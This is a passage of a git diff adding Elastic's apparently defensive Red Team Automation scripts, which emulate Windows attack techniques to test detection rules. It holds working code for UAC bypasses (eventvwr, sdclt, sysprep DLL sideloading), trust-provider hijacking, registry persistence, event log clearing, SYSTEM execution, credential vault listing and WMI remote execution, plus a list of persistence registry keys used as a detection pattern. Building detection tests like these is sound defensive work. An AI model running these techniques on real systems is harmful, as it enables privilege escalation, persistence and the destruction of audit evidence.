f.write(script_data) + + cmd_path = "c:\\windows\\system32\\cmd.exe" + + for application in ["outlook.exe", "explorer.exe", "chrome.exe", "firefox.exe"]: + common.log("Emulating %s" % application) + app_path = os.path.abspath(application) + common.copy_file(cmd_path, app_path) + + common.execute([app_path, "/c", "wscript.exe", "script_path"], timeout=1, kill=True) + + common.log("Killing wscript window") + common.execute('taskkill /IM wscript.exe') + + common.log('Cleanup %s' % app_path) + common.remove_file(app_path) + + common.log("Sleep 5 to allow procecsses to finish") + time.sleep(5) + common.log('Cleanup %s' % script_path) + common.remove_file(script_path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/system_restore_process.py b/rta/system_restore_process.py new file mode 100644 index 000000000..1316b5e4d --- /dev/null +++ b/rta/system_restore_process.py @@ -0,0 +1,42 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Process Execution in System Restore +# RTA: system_restore_process.py +# ATT&CK: T1158 +# Description: Copies mock malware into the System Volume Information directory and executes. + +import os + +from . import common + +SYSTEM_RESTORE = "c:\\System Volume Information" + + +@common.requires_os(common.WINDOWS) +@common.dependencies(common.PS_EXEC) +def main(): + status = common.run_system() + if status is not None: + return status + + common.log("System Restore Process Evasion") + program_path = common.get_path("bin", "myapp.exe") + common.log("Finding a writeable directory in %s" % SYSTEM_RESTORE) + target_directory = common.find_writeable_directory(SYSTEM_RESTORE) + + if not target_directory: + common.log("No writeable directories in System Restore. Exiting...", "-") + return common.UNSUPPORTED_RTA + + target_path = os.path.join(target_directory, "restore-process.exe") + common.copy_file(program_path, target_path) + common.execute(target_path) + + common.log("Cleanup", log_type="-") + common.remove_file(target_path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/trust_provider.py b/rta/trust_provider.py new file mode 100644 index 000000000..99ef62a6c --- /dev/null +++ b/rta/trust_provider.py @@ -0,0 +1,50 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Trust Provider Modification +# RTA: trust_provider.py +# ATT&CK: T1116 +# Description: Substitutes an invalid code authentication policy, enabling trust policy bypass. + +from . import common + +FINAL_POLICY_KEY = "Software\\Microsoft\\Cryptography\\providers\\trust\\FinalPolicy\\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}" # noqa: E501 + + +def set_final_policy(dll_path, function_name): + winreg = common.get_winreg() + hkey = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, FINAL_POLICY_KEY) + + common.log("Setting dll path: %s" % dll_path) + winreg.SetValueEx(hkey, "$DLL", 0, winreg.REG_SZ, dll_path) + + common.log("Setting function name: %s" % function_name) + winreg.SetValueEx(hkey, "$Function", 0, winreg.REG_SZ, function_name) + + +if common.is_64bit(): + SIGCHECK = common.get_path("bin", "sigcheck64.exe") + TRUST_PROVIDER_DLL = common.get_path("bin", "TrustProvider64.dll") +else: + SIGCHECK = common.get_path("bin", "sigcheck32.exe") + TRUST_PROVIDER_DLL = common.get_path("bin", "TrustProvider32.dll") + +TARGET_APP = common.get_path("bin", "myapp.exe") + + +@common.requires_os(common.WINDOWS) +@common.dependencies(SIGCHECK, TRUST_PROVIDER_DLL, TARGET_APP) +def main(): + common.log("Trust Provider") + set_final_policy(TRUST_PROVIDER_DLL, "FinalPolicy") + + common.log("Launching sigcheck") + common.execute([SIGCHECK, "-accepteula", TARGET_APP]) + + common.log("Cleaning up") + set_final_policy("C:\\Windows\\System32\\WINTRUST.dll", "SoftpubAuthenticode") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_eventviewer.py b/rta/uac_eventviewer.py new file mode 100644 index 000000000..7dacc5f54 --- /dev/null +++ b/rta/uac_eventviewer.py @@ -0,0 +1,44 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Bypass UAC via Event Viewer +# RTA: uac_eventviewer.py +# ATT&CK: T1088 +# Description: Modifies the Registry value to change the handler for MSC files, bypassing UAC. + +import sys +import time + +from . import common + + +# Default machine value: +# HKLM\Software\Classes\MSCFile\shell\open\command\(Default) +# %SystemRoot%\system32\mmc.exe "%1" %* + + +@common.requires_os(common.WINDOWS) +def main(target_file=common.get_path("bin", "myapp.exe")): + winreg = common.get_winreg() + common.log("Bypass UAC with %s" % target_file) + + common.log("Writing registry key") + hkey = winreg.CreateKey(winreg.HKEY_CURRENT_USER, "Software\\Classes\\MSCFile\\shell\\open\\command") + winreg.SetValue(hkey, "", winreg.REG_SZ, target_file) + + common.log("Running event viewer") + common.execute(["c:\\windows\\system32\\eventvwr.exe"]) + + time.sleep(3) + common.log("Killing MMC", log_type="!") + common.execute(['taskkill', '/f', '/im', 'mmc.exe']) + + common.log("Restoring registry key", log_type="-") + winreg.DeleteValue(hkey, "") + winreg.DeleteKey(hkey, "") + winreg.CloseKey(hkey) + + +if __name__ == "__main__": + exit(main(*sys.argv[1:])) diff --git a/rta/uac_sdclt.py b/rta/uac_sdclt.py new file mode 100644 index 000000000..e397007d6 --- /dev/null +++ b/rta/uac_sdclt.py @@ -0,0 +1,41 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Bypass UAC via Sdclt +# RTA: uac_sdclt.py +# ATT&CK: T1088 +# Description: Modifies the Registry to auto-elevate and execute mock malware. + +import os +import sys +import time + +from . import common + + +# HKCU:\Software\Classes\exefile\shell\runas\command value: IsolatedCommand +# "sdclt.exe /KickOffElev" or children of sdclt.exe +# HKLM value: "%1" %* + + +@common.requires_os(common.WINDOWS) +def main(target_process=common.get_path("bin", "myapp.exe")): + target_process = os.path.abspath(target_process) + + common.log("Bypass UAC via Sdclt to run %s" % target_process) + + key = "Software\\Classes\\exefile\\shell\\runas\\command" + value = "IsolatedCommand" + + with common.temporary_reg(common.HKCU, key, value, target_process): + common.log("Running Sdclt to bypass UAC") + common.execute([r"c:\windows\system32\sdclt.exe", "/KickOffElev"]) + + time.sleep(2) + common.log("Killing the Windows Backup program sdclt", log_type="!") + common.execute(['taskkill', '/f', '/im', 'sdclt.exe']) + + +if __name__ == "__main__": + exit(main(*sys.argv[1:])) diff --git a/rta/uac_sysprep.py b/rta/uac_sysprep.py new file mode 100644 index 000000000..0c49c374f --- /dev/null +++ b/rta/uac_sysprep.py @@ -0,0 +1,24 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Bypass UAC via Sysprep +# RTA: uac_sysprep.py +# ATT&CK: T1088 +# Description: Use CRYPTBASE.dll opportunity to do Dll Sideloading with SysPrep for a UAC bypass + + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Bypass UAC with CRYPTBASE.dll") + + common.copy_file("C:\\windows\\system32\\kernel32.dll", "C:\\Windows\\system32\sysprep\\CRYPTBASE.DLL") + common.execute(["C:\\Windows\\system32\sysprep\\sysprep.exe"], timeout=5, kill=True) + common.remove_file("C:\\Windows\\system32\sysprep\\CRYPTBASE.DLL") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uncommon_persistence.py b/rta/uncommon_persistence.py new file mode 100644 index 000000000..34915d2bd --- /dev/null +++ b/rta/uncommon_persistence.py @@ -0,0 +1,73 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Uncommon Registry Persistence Change +# RTA: uncommon_persistence.py +# ATT&CK: T1112 +# Description: Modifies the Registry for Logon Shell persistence using a mock payload. + +import sys + +from . import common + +# There are many unconventional ways to leverage the Registry for persistence: + +''' +key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Terminal Server\\Install\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\*" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Terminal Server\\Install\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Runonce\\*" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Run" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\IconServiceLib" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\AppSetup" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Taskman" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\VmApplet" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Shell" or +key_path == "*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logoff\\Script" or +key_path == "*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logon\\Script" or +key_path == "*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Shutdown\\Script" or +key_path == "*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Startup\\Script" or +key_path == "*\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\*\\ShellComponent" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows CE Services\\AutoStartOnConnect\\MicrosoftActiveSync" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows CE Services\\AutoStartOnDisconnect\\MicrosoftActiveSync" or +key_path == "*\\SOFTWARE\\Microsoft\\Ctf\\LangBarAddin\\*\\FilePath" or +key_path == "*\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Exec" or +key_path == "*\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Script" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\*" or +key_path == "*\\SOFTWARE\\Microsoft\\Command Processor\\Autorun" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\*\\VerifierDlls" or +key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\GpExtensions\\*\\DllName" or +key_path == "*\\SOFTWARE\\Microsoft\\Office Test\\Special\\Perf\\" or +(key_path == "*\\System\\ControlSet*\\Control\\SafeBoot\\AlternateShell" and bytes_written_string != "cmd.exe") or +key_path == "*\\System\\ControlSet*\\Control\\Terminal Server\\Wds\\rdpwd\\StartupPrograms" or +key_path == "*\\System\\ControlSet*\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\InitialProgram" or +key_path == "*\\System\\ControlSet*\\Control\\Session Manager\\BootExecute" or +key_path == "*\\System\\ControlSet*\\Control\\Session Manager\\SetupExecute" or +key_path == "*\\System\\ControlSet*\\Control\\Session Manager\\Execute" or +key_path == "*\\System\\ControlSet*\\Control\\Session Manager\\S0InitialCommand" or +key_path == "*\\System\\ControlSet*\\Control\\ServiceControlManagerExtension" or +key_path == "*\\System\\ControlSet*\\Control\\Session Manager\\AppCertDlls\\*" or +key_path == "*\\System\\ControlSet*\\Control\\BootVerificationProgram\\ImagePath" or +key_path == "*\\System\\Setup\\CmdLine" +) +''' # noqa: E501 + + +@common.requires_os(common.WINDOWS) +def main(target="calc.exe"): + winreg = common.get_winreg() + hkey = winreg.CreateKey(winreg.HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon") + + common.log("Setting reg key") + winreg.SetValueEx(hkey, "Userinit", 0, winreg.REG_SZ, target) + + common.log("Setting reg key", log_type="-") + winreg.DeleteValue(hkey, "Userinit") + winreg.CloseKey(hkey) + + +if __name__ == "__main__": + exit(main(*sys.argv[:1])) diff --git a/rta/unusual_ms_tool_network.py b/rta/unusual_ms_tool_network.py new file mode 100644 index 000000000..a26303573 --- /dev/null +++ b/rta/unusual_ms_tool_network.py @@ -0,0 +1,56 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Unexpected Network Activity from Microsoft Tools +# RTA: unusual_ms_tool_network.py +# ATT&CK: T1127 +# Description: Creates network traffic from a process which is named to match common administration and developer tools +# that do not typically make network traffic unless being used maliciously. + +import os +import shutil +import sys + +from . import common + +if sys.version_info > (3,): + urlliblib = "urllib.request" +else: + urlliblib = "urllib" + +process_names = [ + "bginfo.exe", + "msdt.exe", + "ieexec.exe", + "cdb.exe", + "dnx.exe", + "rcsi.exe", + "csi.exe", + "cmstp.exe", + "xwizard.exe", + "fsi.exe", + "odbcconf.exe" +] + + +def http_from_process(name, ip, port): + path = os.path.join(common.BASE_DIR, name) + common.log("Making HTTP GET from %s" % path) + shutil.copy(sys.executable, path) + common.execute([path, "-c", "from %s import urlopen ; urlopen('http://%s:%d')" % (urlliblib, ip, port)]) + common.remove_file(path) + + +@common.requires_os(common.WINDOWS) +def main(): + server, ip, port = common.serve_web() + + for process in process_names: + http_from_process(process, ip, port) + + server.shutdown() + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/unusual_parent_child.py b/rta/unusual_parent_child.py new file mode 100644 index 000000000..0b7f09d4f --- /dev/null +++ b/rta/unusual_parent_child.py @@ -0,0 +1,40 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Invalid Process Trees in Windows +# RTA: unusual_parent_child.py +# ATT&CK: T1093 +# Description: Runs several Windows core processes directly, instead of from the proper parent in Windows. + +import os +import sys + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Running Windows processes with an unexpected parent of %s" % os.path.basename(sys.executable)) + process_names = [ + # "C:\\Windows\\System32\\smss.exe", BSOD (avoid this) + # "C:\\Windows\\System32\\csrss.exe", BSOD (avoid this) + # "C:\\Windows\\System32\\wininit.exe", BSOD (avoid this) + # "C:\\Windows\\System32\\services.exe", BSOD (avoid this) + "C:\\Windows\\System32\\winlogon.exe", + "C:\\Windows\\System32\\lsass.exe", + "C:\\Windows\\System32\\taskhost.exe", # Win7 + "C:\\Windows\\System32\\taskhostw.exe", # Win10 + "C:\\Windows\\System32\\svchost.exe", + ] + + for process in process_names: + # taskhostw.exe isn't on all versions of windows + if os.path.exists(process): + common.execute([process], timeout=2, kill=True) + else: + common.log("Skipping %s" % process, "-") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/user_dir_escalation.py b/rta/user_dir_escalation.py new file mode 100644 index 000000000..f1884cfa3 --- /dev/null +++ b/rta/user_dir_escalation.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: SYSTEM Escalation from User Directory +# RTA: user_dir_escalation.py +# ATT&CK: T1044 +# Description: Spawns mock malware written to a regular user directory and executes as System. + +import os + +from . import common + + +@common.requires_os(common.WINDOWS) +@common.dependencies(common.PS_EXEC) +def main(): + # make sure path is absolute for psexec + status = common.run_system() + if status is not None: + return status + + common.log("Run a user-writeable file as system") + source_path = common.get_path("bin", "myapp.exe") + + target_directory = "c:\\users\\fake_user_rta-%d" % os.getpid() + if not os.path.exists(target_directory): + os.makedirs(target_directory) + + target_path = os.path.join(target_directory, "user_file.exe") + common.copy_file(source_path, target_path) + common.execute([target_path]) + + common.remove_directory(target_directory) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/vaultcmd_commands.py b/rta/vaultcmd_commands.py new file mode 100644 index 000000000..76df13584 --- /dev/null +++ b/rta/vaultcmd_commands.py @@ -0,0 +1,23 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Searching Credential Vaults via VaultCmd +# RTA: vaultcmd_commands.py +# ATT&CK: T1003 +# Description: Lists the Windows Credential Vaults on the endpoint + +import sys + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Searching Credential Vaults via VaultCmd") + + common.execute(["vaultcmd.exe", "/list"]) + + +if __name__ == "__main__": + exit(main(*sys.argv[1:])) diff --git a/rta/werfault_persistence.py b/rta/werfault_persistence.py new file mode 100644 index 000000000..51205d5a2 --- /dev/null +++ b/rta/werfault_persistence.py @@ -0,0 +1,47 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: WerFault.exe Persistence +# RTA: werfault_persistence.py +# ATT&CK: T1112 +# Description: Sets an executable to run when WerFault is run with -rp flags and runs it + +import time + +from . import common + +MY_APP = common.get_path("bin", "myapp.exe") + + +@common.requires_os(common.WINDOWS) +@common.dependencies(MY_APP) +def main(): + reg_key = "'HKLM:\\SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\hangs'" + reg_name = "ReflectDebugger" + + commands = ["C:\\Windows\\system32\\calc.exe", + "'powershell -c calc.exe'", + MY_APP] + + for command in commands: + common.log("Setting WerFault reg key to {}".format(command)) + common.execute(["powershell", "-c", "New-ItemProperty", "-Path", reg_key, + "-Name", reg_name, "-Value", command], wait=False) + time.sleep(1) + + common.log("Running WerFault.exe -pr 1") + common.execute(["werfault", "-pr", "1"], wait=False) + time.sleep(2.5) + + common.execute(["powershell", "-c", "Remove-ItemProperty", "-Path", reg_key, "-Name", reg_name]) + + common.log("Cleaning up") + + common.execute(["taskkill", "/F", "/im", "calc.exe"]) + common.execute(["taskkill", "/F", "/im", "calculator.exe"]) + common.execute(["taskkill", "/F", "/im", "myapp.exe"]) + + +if __name__ == '__main__': + exit(main()) diff --git a/rta/wevtutil_log_clear.py b/rta/wevtutil_log_clear.py new file mode 100644 index 000000000..1cbb04ad1 --- /dev/null +++ b/rta/wevtutil_log_clear.py @@ -0,0 +1,27 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Clearing Windows Event Logs +# RTA: wevutil_log_clear.py +# ATT&CK: T1070 +# Description: Uses the native Windows Event utility to clear the Security, Application and System event logs. + +import time + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("Clearing Windows Event Logs") + common.log("WARNING - About to clear logs from Windows Event Viewer", log_type="!") + time.sleep(3) + wevtutil = "wevtutil.exe" + + for log in ["security", "application", "system"]: + common.execute([wevtutil, "cl", log]) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/winrar_encrypted.py b/rta/winrar_encrypted.py new file mode 100644 index 000000000..b7ec300a6 --- /dev/null +++ b/rta/winrar_encrypted.py @@ -0,0 +1,97 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: Encrypting files with WinRAR +# RTA: winrar_encrypted.py +# ATT&CK: T1022 +# Description: Uses "bin\rar.exe" to perform encryption of archives and archive headers. + +import base64 +import os +import sys + +from . import common + +MY_APP = common.get_path("bin", "myapp.exe") +WINRAR = common.get_path("bin", "Rar.exe") + + +def create_exfil(path=os.path.abspath("secret_stuff.txt")): + common.log("Writing dummy exfil to %s" % path) + with open(path, 'wb') as f: + f.write(base64.b64encode(b"This is really secret stuff" * 100)) + return path + + +@common.requires_os(common.WINDOWS) +@common.dependencies(MY_APP, WINRAR) +def main(password="s0l33t"): + # Copies of the rar.exe for various tests + winrar_bin_modsig = common.get_path("bin", "rar_broken-sig.exe") + common.patch_file(WINRAR, b"win.rar GmbH", b"bad.bad GmbH", winrar_bin_modsig) + + # Renamed copies of executables + winrar_bin_modsig_a = os.path.abspath("a.exe") + winrar_bin_b = os.path.abspath("b.exe") + + common.copy_file(winrar_bin_modsig, winrar_bin_modsig_a) + common.copy_file(WINRAR, winrar_bin_b) + + # Output options for various tests + rar_file = os.path.abspath("out.rar") + rar_file_jpg = os.path.abspath("out.jpg") + common.remove_files(rar_file, rar_file_jpg) + + # use case: rar with -hp to generate new rar file w/ .rar + + common.log("Test case 1: Basic use new rar out", log_type="!") + exfil = create_exfil() + common.execute([WINRAR, "a", rar_file, "-hp" + password, exfil]) + + # use case: rar with -hp to add to existing rar file + # didn't delete rar from previous case + common.log("Test case 2: Basic use add to existing rar", log_type="!") + exfil2 = create_exfil("more_stuff.txt") + common.execute([WINRAR, "a", rar_file, "-hp" + password, exfil2]) + common.remove_files(exfil2, rar_file) + + # use case: process_name == "*rar*" - yes + # original_file_name == "*rar*" - no + # signature_signer == "*win.rar*" - no + # output filename == "*.rar" - no + common.log("Test case 3: *rar* in process name", log_type="!") + common.execute([winrar_bin_modsig, "a", rar_file_jpg, "-hp" + password, exfil]) + common.remove_files(rar_file_jpg) + + # use case: process_name == "*rar*" - no + # original_file_name == "*rar*" - no + # signature_signer == "*win.rar*" - yes + # output filename == "*.rar" - no + common.log("Test case 4: Expected WinRar signature", log_type="!") + common.execute([winrar_bin_b, "a", rar_file_jpg, "-hp" + password, exfil]) + common.remove_files(rar_file_jpg) + + # use case: process_name == "*rar*" - no + # original_file_name == "*rar*" - no + # signature_signer == "*win.rar*" -no + # output filename == "*.rar" - yes + common.log("Test case 5: *.rar in output filename", log_type="!") + common.execute([winrar_bin_modsig_a, "a", rar_file, "-hp" + password, exfil]) + + common.remove_files(rar_file, winrar_bin_modsig_a, winrar_bin_b, exfil) + + # false positive - should not match signature + # use case: process_name == "*rar*" - no + # original_file_name == "*rar*" - no + # signature_signer == "*win.rar*" -no + # output filename == "*.rar" - no + common.log("Test case 6: FP, shoudln't alert, run with myapp.exe", log_type="!") + common.execute([MY_APP, "-hpbadargument"]) + + common.log("Cleanup", "-") + common.remove_files(winrar_bin_modsig, winrar_bin_modsig_a, winrar_bin_b) + + +if __name__ == "__main__": + exit(main(*sys.argv[1:])) diff --git a/rta/winrar_startup_folder.py b/rta/winrar_startup_folder.py new file mode 100644 index 000000000..48c41ba5e --- /dev/null +++ b/rta/winrar_startup_folder.py @@ -0,0 +1,31 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: WinRAR Startup Folder +# RTA: winrar_startup_folder.py +# ATT&CK: T1060 +# Description: Writes batch file into Windows Startup folder using process ancestry tied to exploit (CVE-2018-20250) + +import os + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(): + common.log("WinRAR StartUp Folder Persistence") + win_rar_path = os.path.abspath('WinRAR.exe') + ace_loader_path = os.path.abspath('Ace32Loader.exe') + batch_file_path = '\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mssconf.bat' + startup_path = os.environ['USERPROFILE'] + batch_file_path + common.copy_file("C:\\Windows\\System32\\cmd.exe", win_rar_path) + common.copy_file("C:\\Windows\\System32\\cmd.exe", ace_loader_path) + common.execute([win_rar_path, '/c', ace_loader_path, '/c', 'echo', 'test', '^>', startup_path], kill=True) + common.remove_file(startup_path) + common.remove_file(ace_loader_path) + common.remove_file(win_rar_path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/wmi_incoming_logon.py b/rta/wmi_incoming_logon.py new file mode 100644 index 000000000..e3cf71e77 --- /dev/null +++ b/rta/wmi_incoming_logon.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License; +# you may not use this file except in compliance with the Elastic License. + +# Name: WMI Incoming Lateral Movement +# RTA: wmi_incoming_logon.py +# ATT&CK: T1047 +# Description: Uses PS WMI to trigger 2 logon events via wmi and 1 control logon, which should result in 2 alerts total + +import sys + +from . import common + + +@common.requires_os(common.WINDOWS) +def main(remote_host=None): + if not remote_host: + common.log('A remote host is required to detonate this RTA', '!') + return common.MISSING_REMOTE_HOST + + common.enable_logon_auditing(remote_host) + + common.log('Attempting to trigger a remote logon on {}'.format(remote_host)) + + commands = [ + 'Invoke-WmiMethod -ComputerName {} -Class Win32_process -Name create -ArgumentList {}'.format(remote_host, c) + for c in ('ipconfig', 'netstat') + ] + + # trigger twice + for command in commands: + common.execute(['powershell', '-c', command]) + + # this should not trigger an alert + common.execute(['net.exe', 'time', '\\\\{}'.format(remote_host)]) + + +if __name__ == "__main__": + exit(main(*sys.argv[1:]))